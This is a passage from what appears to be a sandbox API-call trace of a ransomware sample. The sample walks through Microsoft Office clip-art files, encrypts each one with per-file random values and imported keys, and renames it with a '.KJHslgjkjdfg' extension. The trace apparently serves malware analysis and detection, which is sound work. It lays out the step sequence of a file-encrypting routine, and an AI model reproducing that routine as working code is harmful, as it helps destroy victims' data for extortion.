dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.227] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.kjhslgjkjdfg")) returned 1 [0205.229] CloseHandle (hObject=0x130) returned 1 [0205.229] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e1e00, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22e1e00, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x16d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01141_.WMF", cAlternateFileName="")) returned 1 [0205.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.230] GetProcessHeap () returned 0x990000 [0205.230] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.230] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.231] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.233] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.233] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.233] GetProcessHeap () returned 0x990000 [0205.233] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.233] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.233] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.233] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.234] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.234] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.234] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.234] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.234] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.234] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.235] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16d8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16d8, lpOverlapped=0x0) returned 1 [0205.236] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16e0, dwBufLen=0x16e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16e0) returned 1 [0205.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.236] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16e0, lpOverlapped=0x0) returned 1 [0205.236] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.236] SetEndOfFile (hFile=0x130) returned 1 [0205.239] GetProcessHeap () returned 0x990000 [0205.239] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.239] GetProcessHeap () returned 0x990000 [0205.242] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.kjhslgjkjdfg")) returned 1 [0205.244] CloseHandle (hObject=0x130) returned 1 [0205.244] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc383d00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc383d00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01148_.WMF", cAlternateFileName="")) returned 1 [0205.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.245] GetProcessHeap () returned 0x990000 [0205.246] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.246] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.246] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.248] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.248] GetProcessHeap () returned 0x990000 [0205.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.248] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.248] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.248] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.248] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.248] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.248] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.249] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.249] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.249] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.249] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f38, lpOverlapped=0x0) returned 1 [0205.250] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f40) returned 1 [0205.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.250] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f40, lpOverlapped=0x0) returned 1 [0205.250] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.250] SetEndOfFile (hFile=0x130) returned 1 [0205.253] GetProcessHeap () returned 0x990000 [0205.253] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.253] GetProcessHeap () returned 0x990000 [0205.253] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.kjhslgjkjdfg")) returned 1 [0205.255] CloseHandle (hObject=0x130) returned 1 [0205.255] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01149_.WMF", cAlternateFileName="")) returned 1 [0205.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.257] GetProcessHeap () returned 0x990000 [0205.257] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.257] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.257] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.260] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.260] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.260] GetProcessHeap () returned 0x990000 [0205.260] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.260] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.260] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.260] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.260] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.260] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.260] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.261] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.261] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.261] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.261] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1248, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1248, lpOverlapped=0x0) returned 1 [0205.262] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1250, dwBufLen=0x1250 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1250) returned 1 [0205.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.262] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1250, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1250, lpOverlapped=0x0) returned 1 [0205.262] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.263] SetEndOfFile (hFile=0x130) returned 1 [0205.265] GetProcessHeap () returned 0x990000 [0205.265] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.265] GetProcessHeap () returned 0x990000 [0205.265] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.kjhslgjkjdfg")) returned 1 [0205.267] CloseHandle (hObject=0x130) returned 1 [0205.267] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7738900, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7738900, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x2230, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01152_.WMF", cAlternateFileName="")) returned 1 [0205.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.268] GetProcessHeap () returned 0x990000 [0205.269] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.269] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.269] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.269] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.269] GetProcessHeap () returned 0x990000 [0205.269] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.269] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.269] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.269] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.271] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.271] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.271] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.272] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.272] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.272] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.272] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2230, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2230, lpOverlapped=0x0) returned 1 [0205.273] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2230, dwBufLen=0x2230 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2230) returned 1 [0205.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.273] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2230, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2230, lpOverlapped=0x0) returned 1 [0205.273] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.273] SetEndOfFile (hFile=0x130) returned 1 [0205.276] GetProcessHeap () returned 0x990000 [0205.276] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.276] GetProcessHeap () returned 0x990000 [0205.276] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.kjhslgjkjdfg")) returned 1 [0205.278] CloseHandle (hObject=0x130) returned 1 [0205.278] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6425c00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6425c00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01154_.WMF", cAlternateFileName="")) returned 1 [0205.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.279] GetProcessHeap () returned 0x990000 [0205.279] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.280] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.280] CryptImportKey 